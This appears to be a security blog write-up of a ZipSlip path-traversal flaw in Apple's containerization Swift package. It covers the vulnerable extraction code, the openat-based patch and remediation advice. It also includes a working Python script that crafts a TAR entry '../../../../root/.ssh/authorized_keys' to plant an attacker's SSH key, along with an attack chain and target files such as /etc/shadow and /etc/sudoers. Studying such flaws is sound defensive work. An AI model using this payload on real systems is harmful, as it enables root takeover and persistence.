Rotten Core: Unpacking the Apple Containerization ZipSlip (CVE-2026-20613)

In the world of secure software development, Swift is often lauded as the "safe" choice. Memory safety, type safety, and modern idioms usually keep the wolves at bay. But here’s the thing about safety: it doesn't protect you from logic errors, especially when you're dealing with the ancient, cursed art of file handling.

Enter apple/containerization, a Swift package designed to handle the heavy lifting of container image management. It’s the plumbing that moves bits from a compressed archive into a usable filesystem. It's the kind of code you assume is rock solid because, well, it's Apple. But under the hood, a classic vulnerability was lurking—one that has plagued file archivers since the 90s.

We're talking about ZipSlip. It's the vulnerability that refuses to die. The premise is simple: trust the input, extract the file, and don't check where it lands. CVE-2026-20613 isn't some complex heap feng shui; it's a failure to ask, "Hey, should this file really go there?" before writing bytes to disk. And because this library runs in contexts that often require elevated privileges (like unpacking container images), that little oversight turns into a critical hole in the system.

The vulnerability lived in Sources/ContainerizationArchive/ArchiveReader.swift, specifically within the extractContents() function. The logic was deceptively simple: iterate through the files in the archive, grab the path, append it to the destination directory, and write.

Here is the logic in a nutshell (and a coffin):

// The code that paved the road to hell
let target = directory.appending(path: entry.path)
try data.write(to: target)

See the problem? The entry.path comes directly from the archive metadata. If I hand you a TAR file where a file is named library.dylib, it extracts to /tmp/extract/library.dylib. But if I hand you a TAR file where the name is ../../../../usr/lib/libevil.dylib, the code dutifully resolves that path. The FileManager (or URL struct) resolves the dot-dots, and suddenly /tmp/extract/ becomes /usr/lib/.

This is the digital equivalent of a mail carrier delivering a package addressed to "123 Main St / ../ ../ The Bank Vault". Instead of dropping it at the house, they shrug and walk into the vault. It is a complete bypass of the intended filesystem sandbox.

The fix for this is a masterclass in low-level POSIX programming within Swift. The developers realized that string manipulation for paths is fundamentally broken. You cannot sanitize strings reliably; you have to change how the operating system views the operation.

In commit 3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52, they threw out the high-level FileManager calls and dropped down to the *at family of system calls (openat, mkdirat, symlinkat).

Instead of saying "Write to /tmp/extract/file", the new logic says:

1. Open a File Descriptor (FD) for the directory /tmp/extract/.
2. Use openat(rootFD, "file", ...) to create the file relative to that FD.

Here is a simplified view of the patch:

// The Fix: Using secure traversal logic
let fd = try FileDescriptor.open(path, ...)
// Verify we aren't following a symlink out of bounds
if (flags & O_NOFOLLOW) != 0 {
    // secure logic
}

They also implemented a manual path component validator (mkdirSecure) that explicitly rejects .. components and checks for symlinks at every step of the directory creation. This prevents Time-of-Check Time-of-Use (TOCTOU) attacks where an attacker might race to swap a directory with a symlink during extraction.

Exploiting this is trivially easy for anyone who knows how to script Python or use a hex editor. We don't need a compiler; we just need to craft a malformed TAR header.

Here is the attack chain:

1. Target Identification: Identify a system using apple/containerization to pull images (e.g., a CI/CD pipeline or a custom container runtime).
2. Payload Generation: Create a Python script to build the TAR.

import tarfile
import io
 
# The payload: An SSH key to overwrite the victim's authorized_keys
payload = b"ssh-rsa AAAAB3... attacker@evil.com"
 
# Create a TAR object
tar = tarfile.open("exploit.tar", "w")
 
# Create a TarInfo object with the malicious path
info = tarfile.TarInfo(name="../../../../root/.ssh/authorized_keys")
info.size = len(payload)
 
# Add to archive
tar.addfile(info, io.BytesIO(payload))
tar.close()

3. Delivery: Upload this "image" to a registry or feed it to the vulnerable tool.
4. Execution: When the tool calls extractContents(), it traverses up from the temporary extraction directory and overwrites the root SSH keys. The next time the attacker SSHs in, they are root.

Why is this a CVSS 9.3? Because file write primitives, when unconstrained, are almost always equivalent to Remote Code Execution (RCE).

If the extraction process runs as root (common in container daemons):

• Persistence: Overwrite /etc/crontab or systemd service units.
• Privilege Escalation: Overwrite /etc/shadow or /etc/sudoers.
• Code Execution: Overwrite a shared library or a binary commonly executed by the system.

Even if the process runs as a standard user, an attacker can overwrite ~/.zshrc, ~/.ssh/config, or any binary owned by that user. In a CI/CD environment, this could mean poisoning the build artifacts of an entire organization. It is a "Game Over" bug.

The immediate remediation is to update apple/containerization to the version containing commit 3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52 (Jan 15, 2026). If you are using swift-system as a dependency, ensure it is at least version 1.6.3.

For Developers: Stop using string concatenation for paths. Just stop. If you are accepting a file from the user (upload, archive, etc.) and writing it to disk, you must validate the destination. Better yet, use the *at syscalls or high-level libraries that specifically claim protection against ZipSlip.

For Security Teams: Scan your container registries. Tools like Trivy or Grype should be configured to inspect layer content for relative paths containing ... If you see a container layer trying to write to ../../etc/shadow, burn it with fire.